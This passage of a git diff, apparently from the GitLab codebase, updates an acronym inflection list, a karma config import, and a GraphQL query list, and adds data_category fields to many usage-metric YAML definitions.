+ 'jwt_token' => 'JWTToken',
+ 'ldap_key' => 'LDAPKey',
+ 'mr_note' => 'MRNote',
+ 'pdf' => 'PDF',
+ 'csv' => 'CSV',
+ 'rsa_token' => 'RSAToken',
+ 'san_extension' => 'SANExtension',
+ 'sca' => 'SCA',
+ 'spdx' => 'SPDX',
+ 'sql' => 'SQL',
+ 'sse_helpers' => 'SSEHelpers',
+ 'ssh_key' => 'SSHKey',
+ 'ssh_key_with_user' => 'SSHKeyWithUser',
+ 'ssh_public_key' => 'SSHPublicKey',
+ 'git_ssh_proxy' => 'GitSSHProxy',
+ 'git_user_default_ssh_config_check' => 'GitUserDefaultSSHConfigCheck',
+ 'binary_stl' => 'BinarySTL',
+ 'text_stl' => 'TextSTL',
+ 'svg' => 'SVG',
+ 'function_uri' => 'FunctionURI',
+ 'uuid' => 'UUID',
+ 'vulnerability_uuid' => 'VulnerabilityUUID',
+ 'vs_code_extension_activity_unique_counter' => 'VSCodeExtensionActivityUniqueCounter'
+ )
+end
diff --git a/config/karma.config.js b/config/karma.config.js
index 3e125759357..39c9dbe264c 100644
--- a/config/karma.config.js
+++ b/config/karma.config.js
@@ -5,7 +5,7 @@ const argumentsParser = require('commander');
const glob = require('glob');
const webpack = require('webpack');
const IS_EE = require('./helpers/is_ee_env');
-const webpackConfig = require('./webpack.config.js');
+const webpackConfig = require('./webpack.config');
const ROOT_PATH = path.resolve(__dirname, '..');
const SPECS_PATH = /^(?:\.[\\/])?(ee[\\/])?spec[\\/]javascripts[\\/]/;
diff --git a/config/known_invalid_graphql_queries.yml b/config/known_invalid_graphql_queries.yml
index 7b87edd1da0..2989b3a4262 100644
--- a/config/known_invalid_graphql_queries.yml
+++ b/config/known_invalid_graphql_queries.yml
@@ -4,4 +4,3 @@ filenames:
- ee/app/assets/javascripts/security_configuration/api_fuzzing/graphql/api_fuzzing_ci_configuration.query.graphql
- ee/app/assets/javascripts/security_configuration/api_fuzzing/graphql/create_api_fuzzing_configuration.mutation.graphql
- ee/app/assets/javascripts/security_configuration/dast_profiles/graphql/dast_failed_site_validations.query.graphql
- - ee/app/assets/javascripts/security_configuration/graphql/configure_dependency_scanning.mutation.graphql
diff --git a/config/metrics/aggregates/code_review.yml b/config/metrics/aggregates/code_review.yml
index c002bd88b7d..1461931e268 100644
--- a/config/metrics/aggregates/code_review.yml
+++ b/config/metrics/aggregates/code_review.yml
@@ -9,7 +9,6 @@
---
- name: code_review_group_monthly_active_users
operator: OR
- feature_flag: usage_data_code_review_aggregation
source: redis
time_frame: [7d, 28d]
events:
@@ -68,7 +67,6 @@
- 'i_code_review_user_resolve_conflict'
- name: code_review_category_monthly_active_users
operator: OR
- feature_flag: usage_data_code_review_aggregation
source: redis
time_frame: [7d, 28d]
events:
@@ -126,7 +124,6 @@
- 'i_code_review_user_resolve_conflict'
- name: code_review_extension_category_monthly_active_users
operator: OR
- feature_flag: usage_data_code_review_aggregation
source: redis
time_frame: [7d, 28d]
events:
diff --git a/config/metrics/counts_28d/20210201124930_deployments.yml b/config/metrics/counts_28d/20210201124930_deployments.yml
index 4dcb9c5da4b..ff6456731fe 100644
--- a/config/metrics/counts_28d/20210201124930_deployments.yml
+++ b/config/metrics/counts_28d/20210201124930_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts_monthly.deployments
description: Total deployments count for recent 28 days
product_section: ops
diff --git a/config/metrics/counts_28d/20210216174910_analytics_unique_visits_for_any_target_monthly.yml b/config/metrics/counts_28d/20210216174910_analytics_unique_visits_for_any_target_monthly.yml
index c5a0a2eebcd..a9340d29e26 100644
--- a/config/metrics/counts_28d/20210216174910_analytics_unique_visits_for_any_target_monthly.yml
+++ b/config/metrics/counts_28d/20210216174910_analytics_unique_visits_for_any_target_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.analytics_unique_visits_for_any_target_monthly
description: Unique visitors to any analytics feature by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210216174933_p_analytics_pipelines_monthly.yml b/config/metrics/counts_28d/20210216174933_p_analytics_pipelines_monthly.yml
index 72a1f5a2faa..f261fcfda1b 100644
--- a/config/metrics/counts_28d/20210216174933_p_analytics_pipelines_monthly.yml
+++ b/config/metrics/counts_28d/20210216174933_p_analytics_pipelines_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.analytics.p_analytics_pipelines_monthly
description: Unique visitors to /groups/:group/-/analytics/ci_cd by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210216174941_p_analytics_valuestream_monthly.yml b/config/metrics/counts_28d/20210216174941_p_analytics_valuestream_monthly.yml
index 7bd0a5ae025..d81846a1736 100644
--- a/config/metrics/counts_28d/20210216174941_p_analytics_valuestream_monthly.yml
+++ b/config/metrics/counts_28d/20210216174941_p_analytics_valuestream_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.analytics.p_analytics_valuestream_monthly
description: Unique visitors to /:group/:project/-/value_stream_analytics by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210216174956_i_analytics_cohorts_monthly.yml b/config/metrics/counts_28d/20210216174956_i_analytics_cohorts_monthly.yml
index dc0d7f35622..c0c45f2df2f 100644
--- a/config/metrics/counts_28d/20210216174956_i_analytics_cohorts_monthly.yml
+++ b/config/metrics/counts_28d/20210216174956_i_analytics_cohorts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.analytics.i_analytics_cohorts_monthly
description:
product_section: fulfillment
diff --git a/config/metrics/counts_28d/20210216175000_i_analytics_dev_ops_score_monthly.yml b/config/metrics/counts_28d/20210216175000_i_analytics_dev_ops_score_monthly.yml
index ae43df148e5..03187736700 100644
--- a/config/metrics/counts_28d/20210216175000_i_analytics_dev_ops_score_monthly.yml
+++ b/config/metrics/counts_28d/20210216175000_i_analytics_dev_ops_score_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.analytics.i_analytics_dev_ops_score_monthly
description: Unique visitors to /admin/dev_ops_report by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175004_g_analytics_merge_request_monthly.yml b/config/metrics/counts_28d/20210216175004_g_analytics_merge_request_monthly.yml
index c0fd0561ee4..e9fb3dbfbb2 100644
--- a/config/metrics/counts_28d/20210216175004_g_analytics_merge_request_monthly.yml
+++ b/config/metrics/counts_28d/20210216175004_g_analytics_merge_request_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.analytics.g_analytics_merge_request_monthly
description:
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175012_i_analytics_instance_statistics_monthly.yml b/config/metrics/counts_28d/20210216175012_i_analytics_instance_statistics_monthly.yml
index d9011ddf00b..4d4f70b4e99 100644
--- a/config/metrics/counts_28d/20210216175012_i_analytics_instance_statistics_monthly.yml
+++ b/config/metrics/counts_28d/20210216175012_i_analytics_instance_statistics_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.analytics.i_analytics_instance_statistics_monthly
description: Unique visitors to /admin/usage_trends by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml
index 3ce4cbc6e95..195b5c2fed5 100644
--- a/config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: redis_hll_counters.analytics.analytics_total_unique_counts_monthly
description: The number of unique users who visited any analytics feature by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175055_merge_requests.yml b/config/metrics/counts_28d/20210216175055_merge_requests.yml
index bb1f64177a1..b932ade9be2 100644
--- a/config/metrics/counts_28d/20210216175055_merge_requests.yml
+++ b/config/metrics/counts_28d/20210216175055_merge_requests.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.merge_requests
description: Count of the number of users creating merge requests
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175057_projects_with_disable_overriding_approvers_per_merge_request.yml b/config/metrics/counts_28d/20210216175057_projects_with_disable_overriding_approvers_per_merge_request.yml
index 2db67a4028c..dc5ba4a9f61 100644
--- a/config/metrics/counts_28d/20210216175057_projects_with_disable_overriding_approvers_per_merge_request.yml
+++ b/config/metrics/counts_28d/20210216175057_projects_with_disable_overriding_approvers_per_merge_request.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.projects_with_disable_overriding_approvers_per_merge_request
description: Count of the number of projects with setting to disable overriding approvers per merge request
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175059_projects_without_disable_overriding_approvers_per_merge_request.yml b/config/metrics/counts_28d/20210216175059_projects_without_disable_overriding_approvers_per_merge_request.yml
index 152c248802a..6420fd972fe 100644
--- a/config/metrics/counts_28d/20210216175059_projects_without_disable_overriding_approvers_per_merge_request.yml
+++ b/config/metrics/counts_28d/20210216175059_projects_without_disable_overriding_approvers_per_merge_request.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.projects_without_disable_overriding_approvers_per_merge_request
description: Count of the number of projects without setting to disable overriding approvers per merge request
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175101_merge_requests_users.yml b/config/metrics/counts_28d/20210216175101_merge_requests_users.yml
index 3df6f0f080a..e51b3819df6 100644
--- a/config/metrics/counts_28d/20210216175101_merge_requests_users.yml
+++ b/config/metrics/counts_28d/20210216175101_merge_requests_users.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.merge_requests_users
description: Monthly count of the number of merge request users
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175109_suggestions.yml b/config/metrics/counts_28d/20210216175109_suggestions.yml
index b3f019c59bc..9e29b3f3e4b 100644
--- a/config/metrics/counts_28d/20210216175109_suggestions.yml
+++ b/config/metrics/counts_28d/20210216175109_suggestions.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.suggestions
description: Count of unique users per month who create suggestions in merge request comments
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175113_merge_request_action_monthly.yml b/config/metrics/counts_28d/20210216175113_merge_request_action_monthly.yml
index 212b59a0dd6..197e7af6944 100644
--- a/config/metrics/counts_28d/20210216175113_merge_request_action_monthly.yml
+++ b/config/metrics/counts_28d/20210216175113_merge_request_action_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.merge_request_action_monthly
description: Count of unique users who perform an action on a merge request
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175117_i_source_code_code_intelligence_monthly.yml b/config/metrics/counts_28d/20210216175117_i_source_code_code_intelligence_monthly.yml
index c8d0d7eb575..acd657dec0a 100644
--- a/config/metrics/counts_28d/20210216175117_i_source_code_code_intelligence_monthly.yml
+++ b/config/metrics/counts_28d/20210216175117_i_source_code_code_intelligence_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.i_source_code_code_intelligence_monthly
description: Count of unique users who use code intelligence
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175120_i_code_review_mr_diffs_monthly.yml b/config/metrics/counts_28d/20210216175120_i_code_review_mr_diffs_monthly.yml
index 1c4b558288a..24509103daa 100644
--- a/config/metrics/counts_28d/20210216175120_i_code_review_mr_diffs_monthly.yml
+++ b/config/metrics/counts_28d/20210216175120_i_code_review_mr_diffs_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_mr_diffs_monthly
description: Count of unique merge requests per month with diffs viewed
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175124_i_code_review_user_single_file_diffs_monthly.yml b/config/metrics/counts_28d/20210216175124_i_code_review_user_single_file_diffs_monthly.yml
index d5fded16ee2..569666d47af 100644
--- a/config/metrics/counts_28d/20210216175124_i_code_review_user_single_file_diffs_monthly.yml
+++ b/config/metrics/counts_28d/20210216175124_i_code_review_user_single_file_diffs_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_single_file_diffs_monthly
description: Count of unique users per month with diffs viewed file by file
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175128_i_code_review_mr_single_file_diffs_monthly.yml b/config/metrics/counts_28d/20210216175128_i_code_review_mr_single_file_diffs_monthly.yml
index eb566473b3a..b22ba8104cf 100644
--- a/config/metrics/counts_28d/20210216175128_i_code_review_mr_single_file_diffs_monthly.yml
+++ b/config/metrics/counts_28d/20210216175128_i_code_review_mr_single_file_diffs_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_mr_single_file_diffs_monthly
description: Count of unique merge requests per month with diffs viewed file
by file
diff --git a/config/metrics/counts_28d/20210216175132_i_code_review_user_create_mr_monthly.yml b/config/metrics/counts_28d/20210216175132_i_code_review_user_create_mr_monthly.yml
index eb95ff294d8..99bb06699f5 100644
--- a/config/metrics/counts_28d/20210216175132_i_code_review_user_create_mr_monthly.yml
+++ b/config/metrics/counts_28d/20210216175132_i_code_review_user_create_mr_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_create_mr_monthly
description: Count of unique users per month who created a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175136_i_code_review_user_close_mr_monthly.yml b/config/metrics/counts_28d/20210216175136_i_code_review_user_close_mr_monthly.yml
index de9d81070e8..05b843d275b 100644
--- a/config/metrics/counts_28d/20210216175136_i_code_review_user_close_mr_monthly.yml
+++ b/config/metrics/counts_28d/20210216175136_i_code_review_user_close_mr_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_close_mr_monthly
description: Count of unique users per month who closed a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175140_i_code_review_user_reopen_mr_monthly.yml b/config/metrics/counts_28d/20210216175140_i_code_review_user_reopen_mr_monthly.yml
index 0d954358bbe..eddb909eb93 100644
--- a/config/metrics/counts_28d/20210216175140_i_code_review_user_reopen_mr_monthly.yml
+++ b/config/metrics/counts_28d/20210216175140_i_code_review_user_reopen_mr_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_reopen_mr_monthly
description: Count of unique users per month who reopened a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175144_i_code_review_user_merge_mr_monthly.yml b/config/metrics/counts_28d/20210216175144_i_code_review_user_merge_mr_monthly.yml
index bdbd0346dbd..485b47344d0 100644
--- a/config/metrics/counts_28d/20210216175144_i_code_review_user_merge_mr_monthly.yml
+++ b/config/metrics/counts_28d/20210216175144_i_code_review_user_merge_mr_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_merge_mr_monthly
description: Count of unique users per month who merged a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175148_i_code_review_user_create_mr_comment_monthly.yml b/config/metrics/counts_28d/20210216175148_i_code_review_user_create_mr_comment_monthly.yml
index bf58a8632b8..710cd9c05de 100644
--- a/config/metrics/counts_28d/20210216175148_i_code_review_user_create_mr_comment_monthly.yml
+++ b/config/metrics/counts_28d/20210216175148_i_code_review_user_create_mr_comment_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_create_mr_comment_monthly
description: Count of unique users per month who commented on a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175152_i_code_review_user_edit_mr_comment_monthly.yml b/config/metrics/counts_28d/20210216175152_i_code_review_user_edit_mr_comment_monthly.yml
index 045dbba58b7..304b0f2f8f3 100644
--- a/config/metrics/counts_28d/20210216175152_i_code_review_user_edit_mr_comment_monthly.yml
+++ b/config/metrics/counts_28d/20210216175152_i_code_review_user_edit_mr_comment_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_edit_mr_comment_monthly
description: Count of unique users per month who edited a comment on a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175156_i_code_review_user_remove_mr_comment_monthly.yml b/config/metrics/counts_28d/20210216175156_i_code_review_user_remove_mr_comment_monthly.yml
index 5cd5e005262..cfe688f36c5 100644
--- a/config/metrics/counts_28d/20210216175156_i_code_review_user_remove_mr_comment_monthly.yml
+++ b/config/metrics/counts_28d/20210216175156_i_code_review_user_remove_mr_comment_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_remove_mr_comment_monthly
description: Count of unique users per month who removed a comment on a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175159_i_code_review_user_add_suggestion_monthly.yml b/config/metrics/counts_28d/20210216175159_i_code_review_user_add_suggestion_monthly.yml
index 7ebf2072406..e6f9eb418b9 100644
--- a/config/metrics/counts_28d/20210216175159_i_code_review_user_add_suggestion_monthly.yml
+++ b/config/metrics/counts_28d/20210216175159_i_code_review_user_add_suggestion_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_add_suggestion_monthly
description: Count of unique users per month who added a suggestion
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175203_i_code_review_user_apply_suggestion_monthly.yml b/config/metrics/counts_28d/20210216175203_i_code_review_user_apply_suggestion_monthly.yml
index 548dddda36f..edf0ec5359f 100644
--- a/config/metrics/counts_28d/20210216175203_i_code_review_user_apply_suggestion_monthly.yml
+++ b/config/metrics/counts_28d/20210216175203_i_code_review_user_apply_suggestion_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_apply_suggestion_monthly
description: Count of unique users per month who applied a suggestion
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml b/config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml
index 1561e0e9c3b..dd9b9706b7d 100644
--- a/config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml
+++ b/config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.clusters_applications_cert_managers
description: Total GitLab Managed clusters with Cert Manager enabled
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml b/config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml
index 8882af8aa13..bad028774ed 100644
--- a/config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml
+++ b/config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.clusters_applications_helm
description: Total GitLab Managed clusters with Helm enabled
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml b/config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml
index 189623b8644..a9af8e1cd3f 100644
--- a/config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml
+++ b/config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.clusters_applications_ingress
description: Total GitLab Managed clusters with Ingress enabled
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml b/config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml
index 5a67a5b39d5..0d24c5e0fae 100644
--- a/config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml
+++ b/config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.clusters_applications_knative
description: Total GitLab Managed clusters with Knative enabled
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175413_clusters_management_project.yml b/config/metrics/counts_28d/20210216175413_clusters_management_project.yml
index 357ca87eac4..71ceb5cd3ea 100644
--- a/config/metrics/counts_28d/20210216175413_clusters_management_project.yml
+++ b/config/metrics/counts_28d/20210216175413_clusters_management_project.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.clusters_management_project
name: "count_distinct_user_id_from_management_project_clusters"
description: Number of Kubernetes clusters with clusters management project being set
diff --git a/config/metrics/counts_28d/20210216175415_clusters_disabled.yml b/config/metrics/counts_28d/20210216175415_clusters_disabled.yml
index 8d1b8dfabd6..b62ee3c733b 100644
--- a/config/metrics/counts_28d/20210216175415_clusters_disabled.yml
+++ b/config/metrics/counts_28d/20210216175415_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.clusters_disabled
description: Total GitLab Managed disabled clusters
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175417_clusters_enabled.yml b/config/metrics/counts_28d/20210216175417_clusters_enabled.yml
index 2d2d438022a..15fa74276ff 100644
--- a/config/metrics/counts_28d/20210216175417_clusters_enabled.yml
+++ b/config/metrics/counts_28d/20210216175417_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.clusters_enabled
description: Total GitLab Managed clusters currently enabled
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml b/config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml
index 0c3e410d1c4..0f3f4129558 100644
--- a/config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml
+++ b/config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.clusters_platforms_gke
description: Total GitLab Managed clusters provisioned with GitLab on GCE GKE
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml b/config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml
index bc0295b7789..c6834fd28d9 100644
--- a/config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml
+++ b/config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.clusters_platforms_eks
description: Total GitLab Managed clusters provisioned with GitLab on AWS EKS
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml b/config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml
index 9dd10c58008..1e9e9f02343 100644
--- a/config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml
+++ b/config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.clusters_platforms_user
description: Total GitLab Managed clusters that are user provisioned
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml b/config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml
index 30122b3d997..cb1339c8475 100644
--- a/config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml
+++ b/config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.instance_clusters_disabled
description: Total GitLab Managed disabled clusters attached to the instance
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml b/config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml
index 12007dd131d..eae8c0f7a3c 100644
--- a/config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml
+++ b/config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.instance_clusters_enabled
description: Total GitLab Managed enabled clusters attached to the instance
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml b/config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml
index 5a43620e0f5..4c69b0a7671 100644
--- a/config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml
+++ b/config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.group_clusters_disabled
description: Total GitLab Managed disabled clusters attached to groups
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml b/config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml
index 443beb46493..3e149eefbd1 100644
--- a/config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml
+++ b/config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.group_clusters_enabled
description: Total GitLab Managed enabled clusters attached to groups
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml b/config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml
index cc04c03244c..f93a6925e96 100644
--- a/config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml
+++ b/config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.project_clusters_disabled
description: Total GitLab Managed disabled clusters attached to projects
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml b/config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml
index 319fcec57c7..bac36e62664 100644
--- a/config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml
+++ b/config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.configure.project_clusters_enabled
description: Total GitLab Managed enabled clusters attached to projects
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175542_ci_builds.yml b/config/metrics/counts_28d/20210216175542_ci_builds.yml
index b14eda69786..d856c0d2fd1 100644
--- a/config/metrics/counts_28d/20210216175542_ci_builds.yml
+++ b/config/metrics/counts_28d/20210216175542_ci_builds.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.verify.ci_builds
description: Unique monthly builds in project
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml b/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml
index d2cda411e05..9898d32b111 100644
--- a/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml
+++ b/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.verify.ci_external_pipelines
description: Total pipelines in external repositories in a month
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml b/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
index 8046f9f3fd0..319d1d06e62 100644
--- a/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
+++ b/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.verify.ci_internal_pipelines
description: Total pipelines in GitLab repositories in a month
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175548_ci_pipeline_config_auto_devops.yml b/config/metrics/counts_28d/20210216175548_ci_pipeline_config_auto_devops.yml
index 7cfbe4df320..774387813a3 100644
--- a/config/metrics/counts_28d/20210216175548_ci_pipeline_config_auto_devops.yml
+++ b/config/metrics/counts_28d/20210216175548_ci_pipeline_config_auto_devops.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.verify.ci_pipeline_config_auto_devops
description: Total pipelines from an Auto DevOps template
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml b/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml
index a24e8038a62..31e92760c74 100644
--- a/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml
+++ b/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.verify.ci_pipeline_config_repository
description: Total Monthly Pipelines from templates in repository
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml b/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml
index 7a878a5ac1e..5c31532f666 100644
--- a/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml
+++ b/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.verify.ci_pipeline_schedules
description: Total monthly Pipeline schedules in GitLab
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175554_ci_pipelines.yml b/config/metrics/counts_28d/20210216175554_ci_pipelines.yml
index 19276843af1..8af3e4f4248 100644
--- a/config/metrics/counts_28d/20210216175554_ci_pipelines.yml
+++ b/config/metrics/counts_28d/20210216175554_ci_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.verify.ci_pipelines
description: "Distinct users triggering pipelines in a month"
product_section: ops
